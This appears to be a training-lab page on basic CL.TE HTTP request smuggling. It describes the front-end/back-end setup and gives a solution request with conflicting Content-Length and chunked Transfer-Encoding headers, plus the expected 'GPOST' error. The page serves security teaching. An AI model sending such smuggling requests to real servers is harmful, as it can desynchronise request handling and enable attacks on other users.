Lab: HTTP request smuggling, basic CL.TE vulnerability
This lab involves a front-end and back-end server, and the front-end server doesn't support chunked encoding. The front-end server rejects requests that aren't using the GET or POST method.
To solve the lab, smuggle a request to the back-end server, so that the next request processed by the back-end server appears to use the method
Manually fixing the length fields in request smuggling attacks can be tricky. Our HTTP Request Smuggler Burp extension was designed to help. You can install it via the BApp Store.
This lab is designed to demonstrate the basic concepts behind HTTP request smuggling. If you keep following our learning materials, we've got plenty more labs that teach you how to exploit these vulnerabilities for some high-severity attacks.
Using Burp Repeater, issue the following request twice:
POST / HTTP/1.1 Host: your-lab-id.web-security-academy.net Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 6 Transfer-Encoding: chunked 0 G
The second response should say:
Unrecognized method GPOST.